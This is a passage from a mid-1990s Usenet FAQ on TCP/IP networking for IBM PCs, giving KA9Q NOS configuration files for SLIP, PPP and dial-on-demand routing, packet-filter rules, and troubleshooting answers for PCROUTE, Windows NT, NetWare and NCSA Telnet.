PC |
Eudora | WinTrumpet
\ | /
\ | /
\ | /
\|/
TCPMAN
|
Windows 3.1
|
WINPKT
|
Packet Driver
|
DOS
|
Ethernet Card

B-16. Strange and wonderful configuration files submitted by readers

Robert Clift (mailto:clifta@sfu.ca) writes:

"I have WinQVT/Net 3.4, PC Gopher III (including NCSA DOS Telnet), KA9Q
(gopher and FTP server), and POPMail all running together under Windows
over PKTMUX on a 3C503 packet driver (and Ethernet card)."

Here is the stick diagram (yikes!):

Win/QVTNet 3.7 KA9Q Gopher PC POPMail 3.2 PC Gopher III 1.01
on interrupt 65 & FTP Server \ /
\ | \ /
\ | \ /
\ | \ /
\ PKTDRV PKTDRV
\ | /
\ DOS Session DOS Session
\ | /
\ | -------------------
\ | /
Windows 3.1
|
PKINT
|
PKTDRV on Int 65 no listeners set
|
PKTMUX 1.2 with 3 channels
|
Clarkson 3C503 Packet Driver
|
DOS
|
|
Ethernet

NOTES:

Win/QVTNet must be loaded as the very first Windows application and must be
kept operating as long as your are in Windows. It appears that its TCP/IP
stack does some strange things when it disconnects and kills access to the
actual packet driver.

I run PC gopher and POPMail alternatively, so they share one channel which
is allocated via PKTDRV before running the application and deallocated
after the application is finished (I usually throw in a reset command to
PMTMUX as well just to be safe).

To explain what is happening (as best I can since a lot of this came from
experimentation):

1. The packet driver is loaded
2. PKTMUX is run over the packet driver in order to multiplex it (in this
case three channels).
3. A virtual packet driver is loaded for Win/QVTNet on interrupt 65 and
the packet driver is told that it is not to listen for any server
requests.
4. PKINT is loaded over top of the virtual packet driver
5. Start Windows and run Win/QVTNet as the first application, it must be
kept running throughout the Windows session.
6. Load a virtual packet driver from a DOS session and start KA9Q. I use
the following batch file to do this:

c:\network\pktdrv 63 /l
h:
cd \
net091b
c:\network\pktdrv 63 /uu
c:\network\pktmux /r

7. Load a virtual packet driver and run PC Gopher or POPMail as needed. I
use the following batch files for PC Gopher and POPMail respectively:

c:\network\pktdrv 63
h:\goph-cli\gopher /T=h:\goph-cli\text /X=h:\goph-cli\binary
c:\network\pktdrv 63 /uu

c:\network\pktdrv 66 /c
h:\popmail\popmail /noems
c:\network\pktdrv 66 /uu

8. The only problem seems to be that the NNTP module in Win/QVTNet will
not operate correctly if POPMail is operating. Otheriwse it seems to
work okay without too many problems.

------------------------------ END OF PART 1 ------------------------

Bernard Aboba
Author of:
The Online User's Encyclopedia, Addison-Wesley, 1994
The PC-Internet Connection, Publisher's Group West, due in 1995
mailto:aboba@netcom.com
FTP archive: ftp://ftp.zilker.net/pub/mailcom/
WWW page: http://www.zilker.net/users/internaut/index.html

From: aboba@netcom.com (Bernard Aboba)
Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 2 of 5
Expires: Fri, 12 May 1995 00:00:00 GMT
Followup-To: poster
Keywords: TCP/IP, IBM PC, SLIP, PPP, NDIS, ODI
Organization: MailCom
PC-Compatible Computers

Archive-name: ibmpc-tcp-ip-faq/part2

comp.protocols.tcp-ip.ibmpc:
FAQ Posting, part 2, 4/1/95

C. KA9Q Questions

C-1. What version of KA9Q should I use and where do I get it?

There are so many releases of KA9Q that it is a significant amount of
work just to keep track of them all. This has occurred partly because
KA9Q does not support extended or expanded memory, and therefore many
people have needed to customize it with the features relevant to them
in order to allow it to do what they want as well as fit into memory.
The primary difference among the various releases is whether they
include code for a BBS, packet radio support (AX.25), synchronous cards (for
use with leased lines), NNTP, CSO or Gopher servers, packet filtering, DNS,
BOOTP, RIP or PPP support.

The three primary KA9Q releases at this time are those managed by Ashok Aiyar
(ashok@biochemistry.bioc.cwru.edu), those put out by Demon Internet
Services (DIS), and the JNOS distribution. JNOS is the primary packet radio-
oriented release; the other two major releases do not include AX.25 support.
Since JNOS does not include several features important to non-packet radio
users (DNS/Gopher/CSO server,hop check), try one of the other two releases
if you're not interested in packet radio.

Ashok's release is based on the N1BEE 0.85-beta which in turn
is based on PA9GRI 2.0m NOS. Version 11c includes support for NTP, CSO,
gopher, FTP, FINGER, HTTP and SMTP/POP2/POP3 servers, plus VT102 and packet
filtering support. Please not that this release does *not* include radio or
synchronous card support, unlike the standard KA9Q release, and only supports
SLIP/CSLIP. Also, there is no DNS server support, and the tip command has been
removed, so that you need to use an external dialer to make the connection. It
does however support BOOTP, and comes with a good manual which is fairly current
(June 1994).

Available as:

ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.exe,
ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.txt,
ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.map,
ftp://biochemistry.bioc.cwru.edu/pub/nos/nos192.txt,
ftp://biochemistry.bioc.cwru.edu/pub/nos/nos_1229.man,
ftp://biochemistry.bioc.cwru.edu/pub/nos/vt102.zip,
ftp://biochemistry.bioc.cwru.edu/pub/nos/filter.txt,
ftp://biochemistry.bioc.cwru.edu/pub/nos/autoexec.nos

The TextWin version from Demon Internet Services includes support for
DNS server, packet filtering, FTP, SMTP/POP2/POP3 servers, NNTP server,
VT102 support, NTP, BBS, PPP, demand dial, ping, hop check
(traceroute equivalent). I am using it now on my own LAN, it is great.
However, SLIP/CSLIP support is no longer compiled in by default;
you'll have to compile a custom version to get this.

From mailto:mike@childsoc.demon.co.uk (Michael Bernardi):

"Demon Internet Services have a dialin Internet service in the UK.
They also support a customised version of KA9Q optimised for
dialup, they also support the PCElm mailer, SNEWS news reader and
a customised front end. There is also a combined NEWS and MAIL
program called CPPNEWS and an alternative MAIL program called
VIEW, these last are unsupported by mailto:Internet@demon.co.uk but other
DIS users do support them. All these programs can be found on
ftp://ftp.demon.co.uk/pub/ibmpc/ and are written to
work with KA9Q (specifically the DIS version)."

Anthony McCarthy has added a multi-windowing system to KA9Q that
supports the mouse, which has been recommended. See Resource
listings for info.

The DIS release includes three versions, small, medium and large.
The large version includes everything but the kitchen sink, including
an NNTP server. I also believe it includes the KA9Q BBS code, and

Editorial: To my mind, the time has come for the major releases to combine
their code bases and produce a version with the best features of all of them.
To my mind, the ideal KA9Q release would be a release combining the improved
server support of the CWRU release with the working PPP implementation, demand
dial, packet filter and DNS server support of the DIS version.

C-2. What do I need to run KA9Q? Why won't it do VT-100 emulation?

KA9Q is usually run from a startup script, such as my script
startnos.bat:

\nos\drivers\8003pkdr
\nos\net -d \nos

Here I first load the packet drivers for my 8003 Ethernet card, then
run KA9Q (known as net.exe).

The KA9Q package then reads commands from a configuration file, called
AUTOEXEC.NOS in some implementations, AUTOEXEC.NET in others.

For VT100 emulation with KA9Q, try using Giles Todd's VT102.COM,
available via ftp://ftp.demon.co.uk/pub/ibmpc/DIS.

C-3. How do I configure KA9Q as a SLIP dialup connection?

Here is a sample CSLIP only configuration file which will run
on the DIS version with CSLIP/SLIP compiled in:

# This config file is for use with the large TextWin
# version of KA9Q available from ftp.demon.co.uk
#
# Set the host name
#
hostname foobar.com
#
# Configure COM3 on Interrupt 5, at 38400 bps with
# RTS/CTS (c) and Van Jacobsen Compression (v) and
# MTU = 1008
#
attach asy 0x3e8 5 vjslip sl0 8092 1008 38400 cv
dialer sl0 dialer.sl0
#
#
# route all packets over sl0 by default (sl0 is the route
# to the Internet)
#
#
# Time To Live is the maximum number of hops a packet
# can take before it is thrown away. This command
# prevents packets from looping infinitely.
#
ip ttl 255
#
# The Maximum Segment Size is the largest single
# transmission that you care to receive. An mss of 216
# will force folks to send you packets of 256 characters
# or less (counting the overhead).
#
tcp mss 1048
#
# The Window parameter establishes the maximum number
# of bytes that may be outstanding before your system
# expects an ack. If window is twice as big as mss,
# for example, there will be two active packets on the
# channel at any given time. Large values of window
# provide improved throughput on full-duplex links, but
# are a problem on the air.
# Keep mss &lt;= window &lt;= 2*mss if you're on the air.
#
tcp window 6888
#
# and will record the server activity of your system. If
# you don't want a log, comment out this line; if you do,
# make sure you have a \spool directory!
#
log \textwin\spool\net.log
#
# Each of the servers (services you will provide) must
# be turned on before they will be active. The
# following entries turn all of them on. To turn any
# function off use the command 'stop' after NET gets
# fired up, or just comment out the line here.
#
start ftp
ftpopt binary
start echo
# start telnet
start smtp
# This machine uses primary and seconary DNS servers
# Command indicating presence of IBM AT
isat on
#
smtp gateway 140.174.7.1
#
#
# THE END

dialer.sl0 file:

# Configuration section.
#
configure:
init "ATZ\r"
dial_cmd "ATDT"
ld_code ""
number "15108658169"
retries 5
#
# Execution section.
#
execute:
#
# Toggle DTR.
#
control down
wait 2000
control up
wait 2000
#
# Initialize the modem.
#
init
wait 3000 "OK"
#
# Dial and wait for connection.
#
dial
wait 45000 "CONNECT"
#
#
wait 60000 "ogin:"
wait 1000
send "userID\r"
wait 60000 "word:"

After executing this setup file, you should hear the modem dial out
to your SLIP host. Assuming that the dialing script is correct,
it should login and go into SLIP mode.

Type RESET at the prompt. This kills any residual processes that
may be operating.

At this point you should have a functioning connection. You might
try to ping your host via the command:
If this works, you will then see the round trip time to your host,
in milliseconds.

Other possible diagnostic commands:

ASYSTAT &lt;interface&gt; Gives statistics on packets received, sent, etc.
Very useful, particularly if you need to know if
you should install a 16550 on your serial port.
TRACE &lt;interface&gt; 1011 Shows incoming characters
RIP TRACE 1 Traces RIP packets
HOP CHECK &lt;address&gt; Traces the route to the designated system. Useful
for figuring out routing problems.

C-4. How do I configure KA9Q as a router?

I know have KA9Q up and running as a dial-on-demand router, using
an old 386 with only 1 Mb RAM. Boy, is this great! The TextWin version
supports packet filtering, DNS server, FTP server, dial-on-demand, and PPP.
These capabilities put Textwin KA9Q head and shoulders above PCROUTE,
in my humble opinion. About the only reason to use PCROUTE is if you
have an old 286 with just a floppy drive, but even then I'd urge
you to go out and get a 386/16 for $300, just so you could implement packet filtering and be more secure. The KA9Q configuration that follows uses two interfaces, one a PPP interface (pp0), the other an Ethernet interface (lan). Here I am implementing dial on demand, and can also be doing packet filtering, and DNS serving on the same box. Please note the strange interrupt settings (Interrupt 5, port is COM3). One of the nice things about KA9Q is that it is flexible enough to deal with such situations. Here is a sample router configuration file for demand dial PPP: # This config file is for use with the large TextWin # version of KA9Q available from ftp.demon.co.uk # # Set the host name # hostname gate.foobar.com # # Configure COM3 on Interrupt 5, at 38400 bps with # RTS/CTS (c) and PPP # attach asy 0x3e8 5 ppp pp0 8092 576 38400 c ifconfig pp0 ipaddress [192.187.147.2] ifconfig pp0 netmask 255.255.255.0 dialer pp0 dialer.ppp demand # ppp pp0 trace 2 ppp pp0 quick ppp pp0 lcp open ppp pp0 ipcp open # # Packet driver installed at software interrupt # number 0x60. # attach packet 0x60 lan 2 1500 ifconfig lan ipaddress [192.187.157.4] ifconfig lan netmask 255.255.255.0 # route add default pp0 # # The local Ethernet has a Class C network address so # route all IP addresses beginning with 192.187.157 to # it. route add 192.187.157/24 lan # # if you had the default route instead going through # 192.187.157.4, you'd put in this statement: # route add default lan 192.187.157.4 # and take out the route add default pp0 statement # # Time To Live is the maximum number of hops a packet # can take before it is thrown away. This command # prevents packets from looping infinitely. # ip ttl 255 # # The Maximum Segment Size is the largest single # transmission that you care to receive. An mss of 216 # will force folks to send you packets of 256 characters # or less (counting the overhead). # tcp mss 576 # # The Window parameter establishes the maximum number # of bytes that may be outstanding before your system # expects an ack. If window is twice as big as mss, # for example, there will be two active packets on the # channel at any given time. Large values of window # provide improved throughput on full-duplex links, but # are a problem on the air. # Keep mss &lt;= window &lt;= 2*mss if you're on the air. # tcp window 6888 # # This entry will open net.log in the \spool directory # and will record the server activity of your system. If # you don't want a log, comment out this line; if you do, # make sure you have a \spool directory! # log \textwin\spool\net.log # # Each of the servers (services you will provide) must # be turned on before they will be active. The # following entries turn all of them on. To turn any # function off use the command 'stop' after NET gets # fired up, or just comment out the line here. # start ftp ftpopt binary start echo start discard start telnet start smtp # This machine will act as a DNS server; # Boot file is c:\textwin\named.boo, configuration # goes in c:\textwin\spool\zones domain startdns # Command indicating presence of IBM AT isat on # #mbox secure on mbox maxmsg 200 mbox expert off # smtp gateway 192.187.157.2 smtp maxclients 5 smtp mode route smtp quiet yes smtp timer 600 smtp t4 120 # # Use Router Information Protocol (RIP) to inform # the router at 192.187.147.253 about the existence # of the local network. Send RIP packets every 240 # seconds. Only useful for dedicated routers. rip add 192.187.147.253 240 # # Install the packet filter for security purposes # ip filter pp0 permit in tcpxsyn !192.187.157.0/24 192.187.157.0/24 ip filter pp0 permit in icmpxrd !192.187.157.0/24 192.187.157.0/24 ip filter pp0 permit in udp !192.187.157.0/24:53 192.187.157.0/24:53 ip filter pp0 permit in udp !192.187.157.0/24:53 192.187.157.0/24:1024+ ip filter pp0 permit in udp !192.187.157.0/24:123 192.187.157.0/24:123 ip filter pp0 permit in tcpsyn !192.187.157.0/24:20 192.187.157.0/24:1024+ ip filter pp0 permit in tcpsyn !192.187.157.0/24 foobar.com:25 ip filter pp0 permit in tcpsyn !192.187.157.0/24 foobar.com:79 ip filter pp0 deny in * * * ip filter pp0 permit out * 192.187.157.0/24 !192.187.157.0/24 # # THE END dialer.ppp file: # Configuration section. # configure: init "ATZ\r" dial_cmd "ATDT" ld_code "" number "15108658169" retries 5 # # Execution section. # execute: # # Toggle DTR. # control down wait 2000 control up wait 2000 # # Initialize the modem. # init wait 3000 "OK" # # Dial and wait for connection. # dial wait 45000 "CONNECT" # # Now log in. # wait 60000 "ogin:" wait 1000 send "userID\r" wait 60000 "word:" send "password\r" named.boo file: primary foobar.com foobar.com primary 157.187.192.in-addr.arpa 157.rev c:\textwin\spool\zones files: foobar.com 157.rev You might try to use an on-demand dial router as a secondary DNS server, like this: named.boo file: secondary foobar.com 192.187.157.7 foobar.com secondary 157.187.192.in-addr.arpa 192.187.157.7 157.rev However, this will not work, because the DNS timeout is shorter than the average time to get KA9Q connected. As a result, KA9Q will try to download the zone files before the link is fully up, and will fail. However, you can act as a secondary on an ethernet network just fine. Here is another routing configuration file, using CSLIP and proxy arp: # This config file is for use with the large TextWin # version of KA9Q available from ftp.demon.co.uk # # Set the host name # hostname gate.foobar.com # # Configure COM3 on Interrupt 5, at 38400 bps with # RTS/CTS (c) and Van Jacobsen Compression (v) and # MTU = 1008 # attach asy 0x3e8 5 vjslip sl0 8092 1008 38400 cv ifconfig sl0 ipaddress [157.151.0.253] ifconfig sl0 netmask 255.255.255.0 dialer sl0 dialer.sl0 # # # # Packet driver at 0x60; probably an Ethernet card # attach packet 0x60 lan 2 1500 ifconfig lan ipaddress [157.151.64.1] ifconfig lan netmask 255.255.255.0 # # route all packets over sl0 by default (sl0 is the route # to the Internet) # route add default sl0 # # The local Ethernet has a Class C network address so # route all IP addresses beginning with 157.151.64 to it. route add 157.151.64/24 lan # # Use Proxy ARP # Respond to arps for 157.151.64.1 and .254 arp publish 157.151.64.1 ether 00:00:c0:33:f3:13 arp publish 157.151.64.254 ether 00:00:c0:33:f3:13 # # Time To Live is the maximum number of hops a packet # can take before it is thrown away. This command # prevents packets from looping infinitely. # ip ttl 255 # # The Maximum Segment Size is the largest single # transmission that you care to receive. An mss of 216 # will force folks to send you packets of 256 characters # or less (counting the overhead). # tcp mss 576 # # The Window parameter establishes the maximum number # of bytes that may be outstanding before your system # expects an ack. If window is twice as big as mss, # for example, there will be two active packets on the # channel at any given time. Large values of window # provide improved throughput on full-duplex links, but # are a problem on the air. # Keep mss &lt;= window &lt;= 2*mss if you're on the air. # tcp window 6888 # # This entry will open net.log in the \spool directory # and will record the server activity of your system. If # you don't want a log, comment out this line; if you do, # make sure you have a \spool directory! # log \textwin\spool\net.log # # Each of the servers (services you will provide) must # be turned on before they will be active. The # following entries turn all of them on. To turn any # function off use the command 'stop' after NET gets # fired up, or just comment out the line here. # start ftp ftpopt binary start echo start discard # start telnet start smtp # This machine uses primary and seconary DNS servers # to resolve addresses # domain addserver 157.151.0.2 domain addserver 157.151.0.1 smtp gateway 157.151.0.2 # # Command indicating presence of IBM AT isat on # # # # THE END dialer.sl0 file: # Configuration section. # configure: init "ATZ\r" dial_cmd "ATDT" ld_code "" number "15108658169" retries 5 # # Execution section. # execute: # # Toggle DTR. # control down wait 2000 control up wait 2000 # # Initialize the modem. # init wait 3000 "OK" # # Dial and wait for connection. # dial wait 45000 "CONNECT" # # Now log in. # wait 60000 "ogin:" wait 1000 send "userID\r" wait 60000 "word:" send "password\r" C-5 How do I get KA9Q to support BOOTP? The CWRU NOS version has a working BOOTP client and server built-in, and is the best version if you are looking for BOOTP support. [Does Textwin offer full BOOTP support?] If you are using another version of KA9Q that does not support BOOTP, try the following: Steven L. Johnson (mailto:johnson@TIGGER.JVNC.NET) notes: KA9Q does have a bootp client but it is not compiled in by default. It has a bug that truncates the returned ip address to 16 bits which must be corrected before it will work. It also complains about bootp servers that only support RFC 951 bootp without RFC 1084 (or 1048) vendor extensions. Other than that it seems to work for me. To enable the bootp client, add the following line to config.h: #define BOOTP 1 To correct the ip address truncation problem, in bootp.c change: Ip_addr = (int) reply.yiaddr.s_addr; /* yiaddr */ ^^^^^problem at line 188 to: Ip_addr = (int32) reply.yiaddr.s_addr; /* yiaddr */ ^^^^^^^solution And of course, recompile. This worked on the src1229 (1991) version and may work on the most recent version. I did check to make sure that the bug still exists, but I haven't rechecked whether there are additional problems in the new version. C-6. How do I get KA9Q to support PPP? Here is a sample ppp configuration file: # Set the host name # hostname aboba.slip.netcom.com ip address [192.187.134.3] # # # # Configure COM3 on Interrupt 5, at 38400 bps with # MTU = 1008 # attach asy 0x3e8 5 ppp pp0 8092 1008 38400 c dialer pp0 dialer.ppp ifconfig pp0 netmask 255.255.255.252 ppp pp0 trace 2 ppp pp0 quick ppp pp0 lcp open ppp pp0 ipcp open # # # route add default pp0 # route all packets over pp0 by default (pp0 is the route to # the Internet) # # Time To Live is the maximum number of hops a packet can take # before it is thrown away. This command prevents an inadvertent # infinite loop from occuring with packets in the network. # ip ttl 255 # #------------------------------------------------- # # The Maximum Segment Size is the largest single transmission that # you care to receive. An mss of 216 will force folks to send you # packets of 256 characters or less (counting the overhead). # tcp mss 576 # #------------------------------------------------- # # The Window parameter establishes the maximum number of bytes that # may be outstanding before your system expects an ack. If window is # twice as big as mss, for example, there will be two active packets # on the channel at any given time. Large values of window provide # improved throughput on full-duplex links, but are a problem on the # air. Keep mss &lt;= window &lt;= 2*mss if you're on the air. # # tcp window 6888 # #------------------------------------------------- # # This entry will open net.log in the \spool directory and will # record the server activity of your system. If you don't want a log, # comment out this line; if you do, make sure you have a \spool # directory! # log \spool\net.log # #------------------------------------------------- # # Each of the servers (services you will provide) must be turned # on before they will be active. The following entries turn all # of them on. To turn any function off use the command "stop" after # NET gets fired up, or just comment out the line here. # start ftp start echo start discard #start telnet start smtp # isat on # domain addserver 192.100.81.101 domain addserver 192.100.81.105 smtp gateway 140.174.7.1 # # # Display Name and IP Address # hostname ip address # # THE END dialer.ppp file: # Configuration section. # configure: init "ATZ\r" dial_cmd "ATDT" ld_code "" number "15108658169" retries 5 # # Execution section. # execute: # # Toggle DTR. # control down wait 2000 control up wait 2000 # # Initialize the modem. # init wait 3000 "OK" # # Dial and wait for connection. # dial wait 45000 "CONNECT" # # Now log in. # wait 60000 "ogin:" wait 1000 send "userID\r" wait 60000 "word:" send "password\r" C-7. How do I get KA9Q to support SLIP dialin? If you are willing to settle for little or no security, there is not much you have to change to allow a KA9Q system to receive calls, as opposed to originating them. These should include: 1. Setting the system to autoanswer, via use of the ATS0=1 command to the modem. 2. Setting up a trace on the router end, to figure out if it's working, via the command: TRACE &lt;interface&gt; 1011, where &lt;interface&gt; = sl0 for SLIP, or another value such as LAN or ether0 for the Ethernet interface. It's probably a good idea to put a trace on all interfaces until the system is shaken down. Note that without addition of a special dialing script, this setup is completely insecure! For more details, see the FAQ posting enclosed below: DOS Slip Server HOW-TO using ka9q May 11, 1994 Bob Sanford mailto:sanford@aurora.bld189.jccbi.gov mailto:bob_sanford@mmacmail.jccbi.gov This paper will attempt to help an individual interested in turning a DOS machine with ethernet and internet IP address into a dial-in slip server. This paper is based on my experiences tying to configure my machine for just this purpose. Although I am not an expert by any stretch of the imagination, I have learned a little from this experience. My configuration is a AST 486/66 Premmia running with 8 meg ram, 3C509 Etherlink III network card, U.S. Robotics 14.4k modem on the server side. Gateway 486/33 with 4 meg ram, Zoom internal 14.4k modem on the client side. Server side 1. First acquire two IP addresses (or one if you already have one). The addresses must be in the same domain i.e. 123.123.123.xxx and 123.123.123.xxy. These numbers will be assigned by you system admin. Be sure that you set up names if your site has a name server. Once again your sysadm can help here. 2. Get the needed software. I will place the needed software on my machine for anonymous FTP under slip_server. The address is ftp://aurora.bld189.jccbi.gov/ (162.58.16.196). Some of this software is shareware, so be sure to read the agreements. Here is a list of the needed files from aurora: Required nos11b.exe nos11b.map autoexec.nos autoexec.bat sliplog.zip slippr13.zip winsock.zip (you probably have this) sliphow.txt (this document) optional config.sys You will also need a packet driver for your network card. The one you use with winsock should be o.k. 3. Create a dir named nos and place all the files there. Then under the directory nos, create another dir called slip. Place the sliplog.zip and slipper.zip files in there and unzip them. 4. Edit the comlog.xxx files as outlined below: comlog.msg - place your clients Ip address there. comlog.pwd - The order has meaning. 1st name listed is sysop, he has special powers! Read manual for more info. The second is guest. The third is where I put my mine. The first entry on one line is your password and will be what you type at the Login prompt when signing in. The number indicates amount of minutes available each day. I set mine to 1440 ;) comlog.log - This is just a log file that shows who and when access was made to your system. 4. Edit the autoexec.nos file inserting your Ip address and ethernet address where noted. Save this file and place it in your ROOT (i.e. c:\) dir. Be sure that you make all changes outlined in the beginning! 5. Create a boot disk in your favorite dos format and place the new autoexec.bat on this disk. Be sure that everything points to the proper place. The config.sys is nothing different. I'll include mine just for your info. 6. Boot using your slip boot disk. If all goes well you will be presented with: Keyboard locked enter password: If you get this, and the auto-answer light on the modem is lit, all went well, on the server end. Go ahead and enter the password and play around with nos. Try to telnet etc, to make sure it is configured properly. Once your happy, type lock to lock the keyboard. If you fail to get this message, double check all your paths and where they point to. I also had problems with my vectors, make sure that they are consistent through out the set up. If you still have problems, contact me and we'll work together and try to solve it. C-8. Can I use KA9Q as a packet filter? Yes! Both the TextWin Large and CWRU NOS versions support this. You can filter by incoming or outgoing, TCP or UDP port number, IP address, SYN bit on, etc. For information, see the file filter.txt included with both distributions. C-9. Can I use KA9Q as a BOOTP server? [Anyone know the answer to this?] C-10. Where can I get a manual for KA9Q? A detailed manual for KA9Q can be downloaded using this bookmark: host: cases.pubaf.washington.edu port: 70 type: 1 path: 1c:/manual URL: gopher://cases.pubaf.washington.edu/11c:/manual C-11. Is there any way to stop KA9Q from listening to ICMP redirect packets? RIP packets? Yes! Assuming you get the Textwin large version, you can use the IP Filter capability as follows: ip filter pp0 permit in icmpxrd !192.187.157.0/24 192.187.157.0/24 The ICMPXRD refers to all ICMP packets other than redirects; as a result, this command will allow all ICMP packets in the pp0 interface which have a source address outside the 192.187.157.0 network, and which are destined for the 192.187.157.0 network. Using similar logic, you can kill RIP packets from non-trusted source addresses. C-12. Will KA9Q route sourcF-routed packets? If so, is there any way to turn off this (rather undesirable) behavior? It looks to me like KA9Q will route sourcF-routed packets, and it appears that there is no way to turn this off, other than modifying the source code. The IP FILTER capability included in the TextWin large implementation, available at ftp://ftp.demon.co.uk doesn't offer anything to ameliorate this. [Confirmation, anyone?] C-13. I'm trying to use the TextWin version of KA9Q as a SLIP router and it isn't working. What's wrong? I use Textwin for PPP routing (see the config files) and it works great. The problem is that SLIP support is no longer compiled in by default. So you have to get the source code, change this, and recompile. D. PCROUTE Questions D-1. How do I get PCROUTE set up? Some hints: 1. Use PCROUTE version 2.4 (see Resource Section for location) 2. Put the packet driver on Interrupt 0x60; it won't look for it in another location. 3. PCROUTE cannot handle variable length subnet masks. 4. Use KA9Q instead; PCROUTE does not give error messages if it hangs, and does not support packet filtering. However, beyond all this I question why anyone should prefer PCROUTE to KA9Q, particularly considering the DIS version's IP filtering capability and PPP support. In my opinion, the DIS KA9Q is superior to PCROUTE [any of you out there who disagree, please pipe up!] Similarly, PCBRIDGE has been superceded by KARLBRIDGE. D-2. I want to use WFW TCP/IP-32 to contact a host over a serial link, but have no SLIP or PPP driver. Also, my provider has me setup for only one machine. What do I do? One somewhat convoluted approach is to use KA9Q or PCROUTE as a router, turning off RIP, and using CSLIP. Wait: you said your provider couldn't support that, right? Well, since CSLIP does not do address negotiation, your provider will not know what is on the other end. What they will know how to do is to route packets to that CSLIP interface based on your IP address. So as long as your TCP/IP-32 machine has the IP address assigned to it, uses the router as its default route, and the router has the CSLIP interface as its default route, you'll be ok. The host on the other side will not know that there is an intervening machine, since the packets will bear the source address of the TCP/IP-32 machine, and will be sent along with SLIP framing as required. D-3. How do I get PCBRIDGE to use a SLIP or PPP driver? To get this to work, use an Ethernet simulation driver, such as EtherSLIP, SLIPPER, CSLIPPER, or EtherPPP. For the curious, this works by having the driver snarfing ARP packets without passing them through, and stripping off the Ethernet header before adding SLIP framing to the IP packet and passing it on. You can invoke CSLIPPER in Ethernet simulation mode as follows: D-4. Can I get PCROUTE to switch off RIP? Yes. This is a PCROUTE configuration option. E. Windows NT E-1. Does Windows NT support OSPF or RIP? What can I do to get around this? No, it doesn't. However, it does support ICMP redirects, so you can use this to establish your routing table. E-2. Why shouldn't I try to install Trumpet Winsock on NT? Because NT already has a built-in TCP/IP stack that is faster and more capable. If you need to do dialout, use RAS. E-3. Where can I find out more about SMB? What ports does it use? The group comp.protocols.smb discusses the Server Message Block (SMB) protocol. F. Hints for particular packages F-1. How do I get DesQView X to run over the network? V1.0 of DesQView X did not include a TCP/IP protocol stack. Surprise! It required a TCP/IP implementation such as Beame & Whiteside, PC-NFS, FTP's PC/TCP, or Novell LWP. They've corrected the situation in subsequent revisions. Contact QuarterDeck for assistance. [pricing and availability, anyone?] F-2. Why is NFS so slow compared with FTP? NFS usually runs over RPC via UDP, rather than utilizing TCP. NFS only acknowledges a write request when the disk completes; there are no sliding windows as in TCP. This makes NFS fairly inefficient. Frances K. Selkirk (mailto:fks@vaxeline.ftp.com ) notes: "There are NFS implementations that use TCP. They are only faster over WANs. UDP is faster over most normally functioning LANs. The lockstep paradigm is inherent to NFS, but some implementations provide the ability to violate it - a speed win when the net is reliable, a loss when it is not. Whatever the transport, NFS will have more overhead than TCP, because it is trying to transparently imitate an OS, and has to do a lot of shuffling and translating." F-3. Where can I get information on running NetWare and TCP/IP concurrently? The bit.listserv.novell group regularly posts a FAQ which includes information on concurrent use of TCP/IP and Novell IPX. F-4. What NetWare TCP/IP NLMs are out there and how do I get them to work? A public and known to work reliable TFTP and BOOTP daemon for NetWare OS 3.1x/4.0x and NetWare/IP are available from ftp://ftp.novell.de/~/pub/netwire/un...er/bootpd.exe. Contact: mailto:dirk@rhein-main.de F-5. How do I get a telecom package supporting Int 14h redirection to work? INT 14 is the BIOS serial port interrupt. "Int 14h redirection" means that Interrupt 14 is redirected to a Telnet connection to a particular host. This is useful because it allows a communications application to readily support telnet. Int 14h support is becoming increasing common, with vendors such as Mustang (QMODEM Pro) and Procomm Plus for networks having included this feature. Aside from commercial stacks (such as FTP's PC/TCP), try the TCPPORT program in WATTCP, available via ftp://dorm.rutgers.edu/pub/msdos/wattcp/apps.zip. However, I have tried to get this to run with QMODEM Pro and found that I didn't have enough RAM. FTP's PC/TCP includes a program called tnglass that supports Int 14h redirection. F-6. I am having trouble running Netmanage Chameleon apps along with WFW TCP/IP-32. What do I do? The problem is that you have two WINSOCK.DLLs installed, and when you bring up a NetManage Chameleon app, it attempts to load NEWT. To get around this problem, on starting up WFW, you need to run a TCP/IP-32 application such as Telnet or FTP. Once you do this, if you run a Chemaleon app, it will default to the Microsoft WINSOCK.DLL and everything will be fine. F-7. How do I get Windows For Workgroups to work alongside NetWare? The easiest way to do this is to first install Novell with ODI drivers, then install WFW v3.11. This version can run over ODI drivers, and will install itself so as to be compatible with NetWare. Another option is to use ODINSUP from Novell. This is an NDIS over ODI shim. This allows you to run software requiring ODI drivers, as well as software requiring NDIS drivers. Since IPX and TCP/IP are different protocols, you will not need to run PKTMUX. F-9. How come package X doesn't support the AppleTalk packet driver? An AppleTalk driver is available as appletlk.com as part of the Crynwr driver set. NCSA Telnet 2.3.03 and NuPOP support it, but very few other applications do, including Trumpet Winsock. This is because AppleTalk corresponds to packet driver class 5, while most applications only support Class 1 (Ethernet). Vendors with Windows Sockets implementations that support AppleTalk include FTP Software's PC/TCP. WinQVT/Net's built-in TCP/IP stack version is also rumored to be due to support AppleTalk in a future release. F-10. NCSA Telnet doesn't reassemble fragments. What should I do? Yell at the folks at NCSA to fix the problem, and to notify all the people who are using the same TCP/IP code to insert the fix in their software as well. This problem is really common, and very annoying, and affects NCSA Telnet as well as PC Gopher III, and POPmail. One possible workaround is to set the MTU to 576, but this will not always work. The following solution has been provided by Matthew T Kaufman (mailto:matthew@echo.com): How to get rid of the message: "IP: fragmented packet received, frags not supported" (assuming you have a C compiler and source code) by Matthew T Kaufman Many people on the net have complained that NCSA Telnet (among other useful PC TCP/IP programs) doesn't properly handle fragmented IP packets. this problem becomes especially evident if any of your packets are arriving over SLIP connections. I figured that the fastest way to get it to work would be to go ahead and do it myself rather than wait for it to get to the top of the list of desired features. MANY other programs have used the NCSA TCP/IP implementation, so if you maintain a program which does, PLEASE add this fix. I (and MANY OTHERS) are unable to use your software until you do. I posted the basic form of this fix around the beginning of the year, but it didn't seem to make it into several subsequent versions of related software, so I am posting and mailing this once again, in a revised form, with helpful hints at the end. I request only the following in return: This software revision is in the public domain. It may be used anywhere without further permission from the author. Please credit the origin of the fix in your release notes or bug fix document. (I am "Matthew Kaufman, matthew@echo.com") If you are the official maintainer of a software package which you have added this fix to, please send me an email note letting me know that the fix made it in. (So I don't need to worry that, for instance, the next version of NCSA Telnet or WinQVT/Net isn't going to include this) And, please add this fix as soon as possible. So here's my fix: The following are the changes to the NCSA Telnet TCP/IP engine to add support for IP 